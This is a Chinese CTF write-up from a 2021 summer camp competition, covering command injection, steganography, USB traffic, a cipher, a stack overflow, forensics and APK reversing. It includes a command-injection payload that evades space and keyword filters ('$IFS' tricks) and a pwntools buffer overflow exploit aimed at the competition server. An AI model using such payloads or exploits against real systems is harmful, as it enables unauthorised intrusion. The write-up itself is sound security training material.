2021联盟暑期学校暨方滨兴院士班夏令营CTF竞赛WriteUp
0x00 ping
很明显的命令执行,输入url/?ip=127.0.0.1|ls
,可以观察到存在可以的文件。
空格和flag无法传入,这里先绕过空格读一下源码
|
|
构造变量a来替代g,输入127.0.0.1;a=g;cat$IFS$1fla$a.php
,拿到flag。
0x01 hidehight
用010editor打开发现有压缩包,上binwalk,然后foremost分离
拿出压缩包后,使用工具爆破。
成功解开压缩包,用010editor发现flag。
0x02 easyusb
先过滤出来usb.capdata != 00:00:00:00:00:00:00:00,怀疑这是键盘键入的值。
提取一下s1=[’s’,‘S’],s2=[’e’,‘E’],s3=[‘c’,‘C’],s4=[‘2’,’@’],s5=[’e’,‘E’],s6=[’t’,‘T’],s7=[‘k’,‘K’],s8=[‘3’,’#’],s9=[‘y’,‘Y’]。在线生成一个字典。
爆破,得到正确的密码。
解压文件。
0x03 置换密码
题目给出了加密的过程,反着写解密的过程。
text = 'ilhstlneoTR{N5A05PT11NC0PH1R}3'
key = [3,1,2]
li0 = []
li1 = []
li2 = []
for i in range(0,len(text)):
if i % 3 == 0:
li2.append(text[i])
elif (i - 1) % 3 == 0:
li0.append(text[i])
elif (i - 2) % 3 == 0:
li1.append(text[i])
li = []
for i in range(len(li1)):
li.append(li1[i])
li.append(li2[i])
li.append(li0[i])
print("The ciphered text is :")
ciphered_txt = (''.join(li))
print(ciphered_txt)
0x04 Easystack
题目明示栈溢出
下面贴出官方给的代码,当时比赛时太紧张地址掉了0x,直接白给。。。
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = remote("81.70.89.91",57001)
addr = 0x0000000000400729
payload = b"A"*104+p64(addr)
p.sendline(payload)
p.interactive()
0x05 神奇的网站
这题没做出来,赛后复现一下。
追踪流,在tcp.stream eq 3时发现一个可疑的压缩包。
过滤出来
导出分组字节流
解压出来一个flag文件
16进制打开看一哈,发现文件结尾是KP,结合TENET想到倒放,但不会操作。
看一下图片,感觉不太正常,丢到pngcheck里面过一遍,chunk块儿有问题。
这里用官方给的一个脚本。
<?php
$a = file_get_contents('flag');
file_put_contents("flag.zip",strrev($a));?>
得到压缩包,可以看到有wav的音频文件,需要解个密。
图片的宽度异常,只有0001
这里随便改大就好
然后会惊奇地发现!
解压后是一段音频,听着太鬼畜了。。。,感觉也是倒放。移动到audacity,效果选择反向,可以了,是碳基生物的音乐了。然后使用网易云识别。
原理上最后应该是
复现的时候已经没了,不过偶然发现了另一个flag,hhh
0x06 Java_app
这题也没做出来,复现下,先拖到雷电模拟器里面瞅瞅。是一个登录页面,随便试了试,感觉没什么有用信息。
把apk放到jeb里面反汇编,头一次用这个软件,不得不说,确实牛批。找到MainActivity,点击查看,可以发现是smali写的,按下Tab键,转成java代码。
发现一行关键代码,是匹配用户名密码是否正确的,可以看出用户名是sllenc3
。
|
|
而密码则经过了check函数的校验,与后面那串字符串匹配。
后面的字符串包含[A-Za-z0-9+/],应该和base64有关,据说是逆向中会常常碰到的base64换表加密,找一下加密后的base64表。
用python脚本跑一下,注意加密的str1要补全padding
import base64
import string
#要解密的代码
str1 = "yGlszHNUzWZl2UIU0W8WNFdSMXBsNGNl/V5hwmRlI6FTyD5u0UgRL+FZ+/U="
#改过之后的base64表
string1 = "ABCDEFGHIJKLMNOP456789+/wxyz0123ghijklmnopqrstuvQRSTUVWXYZabcdef"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
出来结果
0x07 总结
菜是原罪,好几题有思路但做不出来QAQ,基本功不扎实,还要多学多练。感谢室友们,头一次组队打CTF,团队配合得非常nice,虽然都被dalao们按着锤了,但是没有关系,挺开心的,也蛮累的,不错的体验。